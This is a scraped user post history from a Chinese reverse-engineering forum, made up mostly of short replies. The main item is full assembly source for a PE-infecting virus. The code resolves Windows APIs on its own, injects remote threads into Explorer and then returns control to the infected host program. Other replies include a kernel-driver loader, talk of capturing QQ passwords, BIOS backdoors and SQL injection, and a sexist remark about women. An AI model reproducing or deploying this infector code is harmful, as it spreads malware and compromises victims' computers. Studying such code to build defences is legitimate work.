|
|
|
|
|
[原创]纯汇编打造PE感染病毒
看看罗云杉的 win32asm 改改代码 然后再 把zeroAdd C -> asm 就很好玩了。 .386 .model flat,stdcall option casemap:none include windows.inc include kernel32.inc include user32.inc includelib kernel32.lib includelib user32.lib include Macro.inc .code APPEND_CODE0 equ this byte Remote_code_start0 equ this byte include RemoteCode.asm include _RemoteCode.asm szGetProcAddress db 'GetProcAddress',0 szLoadLibraryA db 'LoadLibraryA',0 szGetModuleHandleA db 'GetModuleHandleA',0 szOpenProcess db 'OpenProcess',0 szVirtualAllocEx db 'VirtualAllocEx',0 szReadProcessMemory db 'ReadProcessMemory',0 szWriteProcessMemory db 'WriteProcessMemory',0 szCreateRemoteThread db 'CreateRemoteThread',0 szCloseHandle db 'CloseHandle',0,0 szFindWindowA db 'FindWindowA',0 szGetWindowThreadProcessId0 db 'GetWindowThreadProcessId',0,0 szDesktopClass db 'Progman',0 szKernelDll db 'Kernel32.dll',0 _GetProcAddress0 proc hInstance:dword,szAPIAddress:dword;得到GetProcAddress的地址 local @hInstance:dword,@szAPIAddress:dword,@ExportDirctory:dword,@AddressOfNames:dword mov eax,hInstance mov @hInstance,eax mov ebx,szAPIAddress mov @szAPIAddress,ebx add eax,0F0h assume eax:ptr IMAGE_NT_HEADERS mov eax,[eax].OptionalHeader.DataDirectory.VirtualAddress add eax,@hInstance ;得到导出表的地址 mov @ExportDirctory,eax mov edx,eax assume eax:ptr IMAGE_EXPORT_DIRECTORY,edx:ptr IMAGE_EXPORT_DIRECTORY mov eax,[eax].AddressOfNames add eax,@hInstance; mov @AddressOfNames,eax;导出函数名字符串地址表的(数组起始RVA) mov edi,@szAPIAddress mov ebx,edi mov ecx,-1 ;表示最从大开始扫描 push eax xor al,al cld repnz scasb pop eax mov ecx,edi sub ecx,ebx ;得到字符串的长度包括0 sub edi,ecx ;要比较的字符串基地址 xor ebx,ebx .repeat mov esi,dword ptr [eax] add esi,@hInstance push edi push ecx repz cmpsb .if zero? pop ecx pop edi jmp @F .endif pop ecx pop edi add eax,4 inc ebx .until ebx>=[edx].NumberOfNames @@: sub eax,@AddressOfNames shr eax,1 ;进行除以2 add eax,[edx].AddressOfNameOrdinals add eax,@hInstance movzx eax,word ptr [eax] ;得到序号索引 shl eax,2 ;进行剩以2得到 add eax,[edx].AddressOfFunctions add eax,@hInstance mov eax,dword ptr [eax] add eax,@hInstance;得到GetProcAddress的地址7c80ae30 ret _GetProcAddress0 endp _GetAPI_CRGJ proc local @lpGetProcAddress,@lpLoadLibraryA,@lpGetModuleHandleA,@lpOpenProcess,@lpVirtualAllocEx local @lpReadProcessMemory,@lpWriteProcessMemory,@lpCreateRemoteThread,@lpCloseHandle local @lpFindWindowA,@lpGetWindowThreadProcessId local @dwProcessID,@dwThreadID,@hProcess,@lpRemoteCode,@lpKernelDll local @hModule;采用局部变量是因为Link之后没有对代码段设定属性为可读可写(只可读) local @ReadTemp mov @hModule,ebx call @F @@: pop ecx sub ecx,offset @B mov @lpGetProcAddress,eax lea esi,[ecx + offset szGetProcAddress] lea edi,@lpGetProcAddress .while TRUE push ecx _invoke @lpGetProcAddress,@hModule,esi pop ecx ;由于上面的函数对ecx进行了改变 mov dword ptr [edi],eax sub edi,4;由于局部变量与全局变量的区别,局部变量是椎栈内由下到上 @@: lodsb or al,al jnz @B .break .if ! byte ptr [esi] .endw jmp a1 user320 db 'user32.dll',0 a1:call @F @@: pop ecx sub ecx,offset @B lea eax,[ecx+offset user320] _invoke @lpLoadLibraryA,eax;得到user32.dll模块基址 mov @hModule,eax call @F @@: pop ecx sub ecx,offset @B lea esi,[ecx + offset szFindWindowA] lea edi,@lpFindWindowA .while TRUE push ecx _invoke @lpGetProcAddress,@hModule,esi pop ecx ;由于上面的函数对ecx进行了改变 mov dword ptr [edi],eax sub edi,4;由于局部变量与全局变量的区别,局部变量是椎栈内由下到上 @@: lodsb or al,al jnz @B .break .if ! byte ptr [esi] .endw call @F @@: pop ebx sub ebx,offset @B lea eax,[ebx + offset szKernelDll] _invoke @lpGetModuleHandleA,eax mov @lpKernelDll,eax lea eax,[ebx + offset szLoadLibraryA] _invoke @lpGetProcAddress,@lpKernelDll,eax mov @lpLoadLibraryA,eax lea eax,[ebx + offset szGetProcAddress] _invoke @lpGetProcAddress,@lpKernelDll,eax mov @lpGetProcAddress,eax lea eax,[ebx + offset szGetModuleHandleA] _invoke @lpGetProcAddress,@lpKernelDll,eax mov @lpGetModuleHandleA,eax lea eax,[ebx + offset szDesktopClass] _invoke @lpFindWindowA,eax,NULL lea ecx,@dwProcessID _invoke @lpGetWindowThreadProcessId,eax,ecx mov @dwThreadID,eax _invoke @lpOpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or PROCESS_VM_WRITE or PROCESS_VM_READ,FALSE,@dwProcessID;进行打开内存以相映的属性 .if eax mov @hProcess,eax lea ecx,@ReadTemp _invoke @lpReadProcessMemory,@hProcess,00020c00h,ecx,4,NULL;在Kernel32.dll里写内存没有成功,看来还得了解下内存用况,(00020c00h)不然写入影响糸统 .if eax .if @ReadTemp=='viru' jmp readerror .endif mov @ReadTemp,'viru' lea ecx,@ReadTemp _invoke @lpWriteProcessMemory,@hProcess,00020c00h,ecx,4,NULL _invoke @lpVirtualAllocEx,@hProcess,NULL,Remote_code_length0,MEM_COMMIT,PAGE_EXECUTE_READWRITE .if eax mov @lpRemoteCode,eax call @F @@: pop ebx sub ebx,offset @B mov ecx,offset Remote_code_start0 add ecx,ebx _invoke @lpWriteProcessMemory,@hProcess,@lpRemoteCode,ecx,Remote_code_length0,NULL lea ecx,@lpGetProcAddress _invoke @lpWriteProcessMemory,@hProcess,@lpRemoteCode,ecx,sizeof dword,NULL lea ecx,@lpLoadLibraryA add @lpRemoteCode,4;由于椎栈是从高向低与一般正好相反所以才要分开写入 _invoke @lpWriteProcessMemory,@hProcess,@lpRemoteCode,ecx,sizeof dword,NULL add @lpRemoteCode,4 lea ecx,@lpGetModuleHandleA _invoke @lpWriteProcessMemory,@hProcess,@lpRemoteCode,ecx,sizeof dword,NULL sub @lpRemoteCode,8 mov eax,@lpRemoteCode add eax,offset _RemoteThread0-offset Remote_code_start0 _invoke @lpCreateRemoteThread,@hProcess,NULL,0,eax,0,0,NULL _invoke @lpCloseHandle,eax .endif _invoke @lpVirtualAllocEx,@hProcess,NULL,Remote_code_length1,MEM_COMMIT,PAGE_EXECUTE_READWRITE .if eax mov @lpRemoteCode,eax call @F @@: pop ebx sub ebx,offset @B mov ecx,offset Remote_code_start1 add ecx,ebx _invoke @lpWriteProcessMemory,@hProcess,@lpRemoteCode,ecx,Remote_code_length1,NULL lea ecx,@lpGetProcAddress _invoke @lpWriteProcessMemory,@hProcess,@lpRemoteCode,ecx,sizeof dword,NULL lea ecx,@lpLoadLibraryA add @lpRemoteCode,4 _invoke @lpWriteProcessMemory,@hProcess,@lpRemoteCode,ecx,sizeof dword,NULL add @lpRemoteCode,4 lea ecx,@lpGetModuleHandleA _invoke @lpWriteProcessMemory,@hProcess,@lpRemoteCode,ecx,sizeof dword,NULL sub @lpRemoteCode,8 mov eax,@lpRemoteCode add eax,offset _RemoteThread1-offset Remote_code_start1 _invoke @lpCreateRemoteThread,@hProcess,NULL,0,eax,0,0,NULL _invoke @lpCloseHandle,eax .endif .endif _invoke @lpCloseHandle,@hProcess .endif readerror: ret _GetAPI_CRGJ endp _NewEntry: pushad pushfd mov ebx,[esp+36] and ebx,0ffff0000h .while TRUE .if word ptr [ebx]==IMAGE_DOS_SIGNATURE add ebx,dword ptr [ebx+3ch] .if word ptr [ebx]==IMAGE_NT_SIGNATURE .break .endif .endif sub ebx,10000h .break .if ebx<07000000h .endw sub ebx,0F0h;7c800000 ;##############################################得到kernel32模块基址 jmp a_ GetProcAddress0 db "GetProcAddress",0 a_:call @F @@: pop ecx sub ecx,offset @B add ecx,offset GetProcAddress0 push ebx;kernel32模块的句柄 invoke _GetProcAddress0,ebx,ecx ;用invoke伪指令进调用进编译器进行平衡椎栈 pop ebx ;kernel32模块的句柄 ;call _GetProcAddress;可能是用了局部变量的原因进行平衡也达不到目的,但可以调用没有参数的 ;但是都是按相对位置进行转移 invoke _GetAPI_CRGJ popfd popad _ToOldEntry: db 0e9h _dwOldEntry: dd ? APPEND_CODE_END0 equ this byte Remote_code_end0 equ this byte Remote_code_length0 equ offset Remote_code_end0- offset Remote_code_start0 end _NewEntry |
|
|
[开源兼求职]Web远程控制软件
太强悍,服了。 |
|
|
[分享]KSSD 2012版离线CHM+在线版遗漏文件列表
这个文工团档不错放下来下载,牛人们! |
|
|
笔记本被盗可以通过技术手段找回吗?
mac 。以前貌似看到过,在BIOS里面留后门的。 |
|
|
[转帖]一个台湾黑客看大陆黑客(精点)
谁他妈的能把移动通信糸统干掉,就超爽! |
|
|
[原创]写了一款调试器,献给爱程序爱逆向的朋友们(即将发布)
强列支持,更加支持发码,大家一起深研人像 firefox之类 |
|
|
|
|
|
[推荐]97年世界编程大赛第一名的程序
[QUOTE=Kisesy;1009451]你那样多麻烦,直接给成品吧 里面包含3个动画: 世界顶级64K 3D.7z[/QUOTE] 你的更牛但没有看到美女也。明白以前在高中的时候电脑老师搞出来的,牛X动画图。 |
|
|
[原创]丢几个好东西,完整可编译的ie2、ie5.5源码,嘿嘿
看来星际盟主,真是盟主啊大放码。 |
|
|
[原创]对某钓鱼网站的一次渗透g
想问怎样手工注入得到表名与列名。 |
|
|
PE病毒学习(一、二、三、四、五、六、七、八)
看一下罗云杉的win32asm,再加上zeroadd,再看一下驱动级添加,跳过虚拟检测(bbs上有的)外加其它的小函数绝对不错。这些。。。。计算机本身的用途不是这么用的,程序也不是这么用的,我认为计算机是为了减轻人工工作,第二通讯。。。这才是正道。 |
|
|
[讨论]WinMount 如何招聘
这个看不到的,公司招人。不知你们公司的定位是什么,今后想打算往那方面发展,我认为程序应精简,明了,可变性强。可重性好。 |
|
|
[分享]可记录QQ2011登录密码的汇编程序。
你可以直接把驱动放到那个exe文件后再释放出来。 |
|
|
[原创]windows xp下直接写屏试验
不错,有这个思路很好,一直也想这方面的,那个出现花屏可以是大家的那个显存范围不一样才造成的。不知是不是,我也不有去试一下。 |
|
|
[原创]女人是不是不适合学逆向啊
自古以来在男人世界女人的只不过是战利品 |
|
|
[求助]在线跪求源码!
去搜一下kmd教程吧 |
|
|
[求助]在线跪求源码!
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ; Service Control Program for beeper driver ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .386 .model flat, stdcall option casemap:none ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ; I N C L U D E F I L E S ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\user32.inc include \masm32\include\advapi32.inc includelib \masm32\lib\kernel32.lib includelib \masm32\lib\user32.lib includelib \masm32\lib\advapi32.lib include \masm32\Macros\Strings.mac ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ; C O D E ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .code start proc local hSCManager:HANDLE local hService:HANDLE local acDriverPath[MAX_PATH]:CHAR invoke OpenSCManager, NULL, NULL, SC_MANAGER_CREATE_SERVICE .if eax != NULL mov hSCManager, eax push eax invoke GetFullPathName, $CTA0("beeper.sys"),sizeof acDriverPath,addr acDriverPath,esp pop eax invoke CreateService, hSCManager, $CTA0("beeper"), $CTA0("Nice Melody Beeper"), \ SERVICE_START + DELETE, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, \ SERVICE_ERROR_IGNORE, addr acDriverPath, NULL, NULL, NULL, NULL, NULL .if eax != NULL mov hService, eax invoke StartService, hService, 0, NULL invoke DeleteService, hService invoke CloseServiceHandle, hService .else invoke MessageBox, NULL, $CTA0("Can't register driver."), NULL, MB_ICONSTOP .endif invoke CloseServiceHandle, hSCManager .else invoke MessageBox, NULL, $CTA0("Can't connect to Service Control Manager."), \ NULL, MB_ICONSTOP .endif invoke ExitProcess, 0 start endp ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: end start |
|
|
[原创]腾讯面试日记
是的,那个老罗是罗聪(不错不计算机专业出身),罗云杉写了本win32asm,他是好像浙大的具体可能我要看一下他的书了 |
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
勋章
兑换勋章
证书
证书查询 >
能力值